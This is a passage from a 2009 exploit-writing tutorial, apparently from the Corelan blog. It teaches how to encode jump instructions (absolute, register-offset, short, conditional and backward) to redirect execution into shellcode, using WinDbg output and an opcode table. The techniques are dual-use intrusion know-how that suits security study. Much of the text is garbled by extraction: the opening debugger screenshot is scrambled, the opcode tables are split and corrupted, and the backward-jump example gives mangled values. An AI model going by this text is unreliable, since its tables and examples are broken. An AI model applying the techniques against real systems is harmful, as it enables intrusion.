ModLoad:	76f60000 74e30000	76184	_							
): Locess		_							
First ch	ance excep	ptions								
	eption may									
	0000 ebx=1 18d6 esp=1								R.0.	
cs=001b	ss=0023	ds=00							86	
	isope name								L.	
Missing	imope name	e. pos	_	_			_	_		
(Inloade	d P32.dll	e, pos	sibie 8-5-	paged	-out	or co	erup	t data		
000ff8d6	80		lods	b	ste r	str (e	si]		ds:0023:c644d12e*??	
										-
•					_		_			
<000:0										
				_	_					

pnwed again !

Another (less preferred, but still possible) way to jump to shellcode is by using jumpcode that simply jumps to the address (or an offset of a register). Since the addresses/registers could vary during every program execution, this technique may not work every time.

So, in order to **hardcode addresses** or offsets of a register, you simply need to find the opcode that will do the jump, and then use that opcode in the smaller "first"/stage1 buffer, in order to jump to the real shellcode.

You should know by now how to find the opcode for assembler instructions, so I'll stick to 2 examples :

1. jump to 0x12345678

0:000> a 7c90120e jmp 12345678 jmp 12345678 7c901213 0:000> u 7c90120e ntdllDbgBreakPoint: 7c90120e e96544a495 jmp 12345678

=> opcode is 0xe9,0x65,0x44,0xa4,0x95

2. jump to ebx+124h

```
0:000> a
7c901214 add ebx,124
add ebx,124
7c90121a jmp ebx
jmp ebx
7c90121c
0:000> u 7c901214
ntdllDbgUserBreakPoint+0x2:
7c90121a 81c324010000 add ebx,124h
7c90121a ffe3 jmp ebx
```

=> opcodes are 0x81,0xc3,0x24,0x01,0x00,0x00 (add ebx 124h) and 0xff,0xe3 (jmp ebx)

Short jumps & conditional jumps

In the event you need to jump over just a few bytes, then you can use a couple 'short jump' techniques to accomplish this :

- a short jump : (jmp) : opcode 0xeb, followed by the number of bytes

So if you want to jump 30 bytes, the opcode is 0xeb,0x1e

- a conditional (short/near) jump : ("jump if condition is met") : This technique is based on the states of one or more of the status flags in the EFLAGS register (CF,OF,PF,SF and ZF). If the flags are in the specified state (condition), then a jump can be made to the target instruction specified by the destination operand. This target instruction is specified with a relative offset (relative to the current value of EIP).

Example : suppose you want to jump 6 bytes : Have a look at the flags (ollydbg), and depending on the flag status, you can use one of the opcodes below

Let's say the Zero flag is 1, then you can use opcode 0x74, followed by the number of bytes you want to jump (0x06 in our case)

tions :

This is a l	ittle table	with jump opcodes and flag condit
Code	Mnemonic	Description
77 cb	JA rel8	Jump short if above (CF=0 and ZF=0)
73 cb	JAE rel8	Jump short if above or equal (CF=0)
72 cb	JB rel8	Jump short if below (CF=1)
76 cb	JBE rel8	Jump short if below or equal (CF=1 or ZF=1)
72 cb	JC rel8	Jump short if carry (CF=1)
E3 cb	JCXZ rel8	Jump short if CX register is 0
E3 cb	JECXZ rel8	Jump short if ECX register is 0
74 cb	JE rel8	Jump short if equal (ZF=1)
7F cb	JG rel8	Jump short if greater (ZF=0 and SF=OF)
7D cb	JGE rel8	Jump short if greater or equal (SF=OF)

https://www.corelan.be



JZ 0F 87 cw/cd JA 0F 83 cw/cd JAE 0F 82 cw/cd JB

7E cb

76 cb

72 cb

73 cb

77 cb

73 cb

75 cb

7E cb

7C cb

7D cb

7F cb

71 cb

7B cb

79 cb

75 cb

70 cb

7A cb

7A cb

7B cb

78 cb

74 cb

JL rel8	Jump short if less (SF<>OF)	
JLE rel8	Jump short if less or equal (ZF=1 or SF<>OF)	
JNA rel8	Jump short if not above (CF=1 or ZF=1)	
JNAE rel8	Jump short if not above or equal (CF=1)	
JNB rel8	Jump short if not below (CF=0)	
JNBE rel8	Jump short if not below or equal (CF=0 and ZF=0)	
JNC rel8	Jump short if not carry (CF=0)	
JNE rel8	Jump short if not equal (ZF=0)	
JNG rel8	Jump short if not greater (ZF=1 or SF<>OF)	
JNGE rel8	Jump short if not greater or equal (SF<>OF)	
JNL rel8	Jump short if not less (SF=OF)	
JNLE rel8	Jump short if not less or equal (ZF=0 and SF=OF)	
JNO rel8	Jump short if not overflow (OF=0)	
JNP rel8	Jump short if not parity (PF=0)	
JNS rel8	Jump short if not sign (SF=0)	
JNZ rel8	Jump short if not zero (ZF=0)	
JO rel8	Jump short if overflow (OF=1)	
JP rel8	Jump short if parity (PF=1)	
JPE rel8	Jump short if parity even (PF=1)	
JPO rel8	Jump short if parity odd (PF=0)	
JS rel8	Jump short if sign (SF=1)	
JZ rel8	Jump short if zero (ZF = 1)	
JA rel16/32	Jump near if above (CF=0 and ZF=0)	
JAE rel16/32	Jump near if above or equal (CF=0)	
JB rel16/32	Jump near if below (CF=1)	
JBE rel16/32	Jump near if below or equal (CF=1 or ZF=1)	
JC rel16/32	Jump near if carry (CF=1)	
JE rel16/32	Jump near if equal (ZF=1)	
JZ rel16/32	Jump near if 0 (ZF=1)	
JG rel16/32	Jump near if greater (ZF=0 and SF=OF)	
JGE rel16/32	Jump near if greater or equal (SF=OF)	
JL rel16/32	Jump near if less (SF<>OF)	
JLE rel16/32	Jump near if less or equal (ZF=1 or SF<>OF)	
JNA rel16/32	Jump near if not above (CF=1 or ZF=1)	
JNAE rel16/32	Jump near if not above or equal (CF=1)	
JNB rel16/32	Jump near if not below (CF=0)	

01 02 cw/cd ;jb1c110/32	Jump neur n below (er = 1)
OF 86 cw/cd JBE rel16/32	Jump near if below or equal (CF=1 or ZF=1)
OF 82 cw/cd JC rel16/32	Jump near if carry (CF=1)
OF 84 cw/cd JE rel16/32	Jump near if equal (ZF=1)
OF 84 cw/cd JZ rel16/32	Jump near if 0 (ZF=1)
OF 8F cw/cd JG rel16/32	Jump near if greater (ZF=0 and SF=OF)
	Jump near if greater or equal (SF=OF)
0F 8C cw/cd JL rel16/32	Jump near if less (SF<>OF)
OF 8E cw/cd JLE rel16/32	Jump near if less or equal (ZF=1 or SF<>OF)
OF 86 cw/cd JNA rel16/32	Jump near if not above (CF=1 or ZF=1)
OF 82 cw/cd JNAE rel16/32	Jump near if not above or equal (CF=1)
OF 83 cw/cd JNB rel16/32	Jump near if not below (CF=0)
OF 87 cw/cd JNBE rel16/32	Jump near if not below or equal (CF=0 and ZF=0)
0F 83 cw/cd JNC rel16/32	Jump near if not carry (CF=0)
OF 85 cw/cd JNE rel16/32	Jump near if not equal (ZF=0)
OF 8E cw/cd JNG rel16/32	Jump near if not greater (ZF=1 or SF<>OF)
0F 8C cw/cd JNGE rel16/32	Jump near if not greater or equal (SF<>OF)
0F 8D cw/cd JNL rel16/32	Jump near if not less (SF=OF)
OF 8F cw/cd JNLE rel16/32	Jump near if not less or equal (ZF=0 and SF=OF)
OF 81 cw/cd JNO rel16/32	Jump near if not overflow (OF=0)
OF 8B cw/cd JNP rel16/32	Jump near if not parity (PF=0)
OF 89 cw/cd JNS rel16/32	Jump near if not sign (SF=0)
0F 85 cw/cd JNZ rel16/32	Jump near if not zero (ZF=0)
OF 80 cw/cd JO rel16/32	Jump near if overflow (OF=1)
OF 8A cw/cd JP rel16/32	Jump near if parity (PF=1)
OF 8A cw/cd JPE rel16/32	Jump near if parity even (PF=1)
OF 8B cw/cd JPO rel16/32	Jump near if parity odd (PF=0)
0F 88 cw/cd JS rel16/32	Jump near if sign (SF=1)
0F 84 cw/cd JZ rel16/32	Jump near if 0 (ZF=1)

As you can see in the table, you can also do a short jump based on register ECX being zero. One of the Windows SEH protections (see part 3 of the tutorial series) that have been put in place is the fact that registers are cleared when an exception occurs. So sometimes you will even be able to use 0xe3 as jump opcode (if ECX = 00000000)

Note : You can find more/other information about making 2 byte jumps (forward and backward/negative jumps) at http://thestarman.narod.ru/asm/2bytejumps.htm

Backward jumps

In the event you need to perform backward jumps (jump with a negative offset) : get the negative number and convert it to hex. Take the dword hex value and use that as argument to a jump (\xeb or \xe9)

Example : jump back 7 bytes : -7 = FFFFFF9, so jump -7 would be "\xeb\xf9\xff\xff"

Exampe : jump back 400 bytes : -400 = FFFFE70, so jump -400 bytes = "\xe9\x70\xfe\xff\xff" (as you can see, this opcode is 5 bytes long. Sometimes (if you need to stay within a dword size (4 byte limit), then you may need to perform multiple shorter jumps in order to get where you want to be)

Questions ? Comments ? Tips & Tricks ? https://www.corelan.be/index.php/forum/writing-exploits

This entry was posted

on Thursday, July 23rd, 2009 at 9:19 pm and is filed under 001_Security, Exploit Writing Tutorials, Exploits You can follow any responses to this entry through the Comments (RSS) feed. Both comments and pings are currently closed.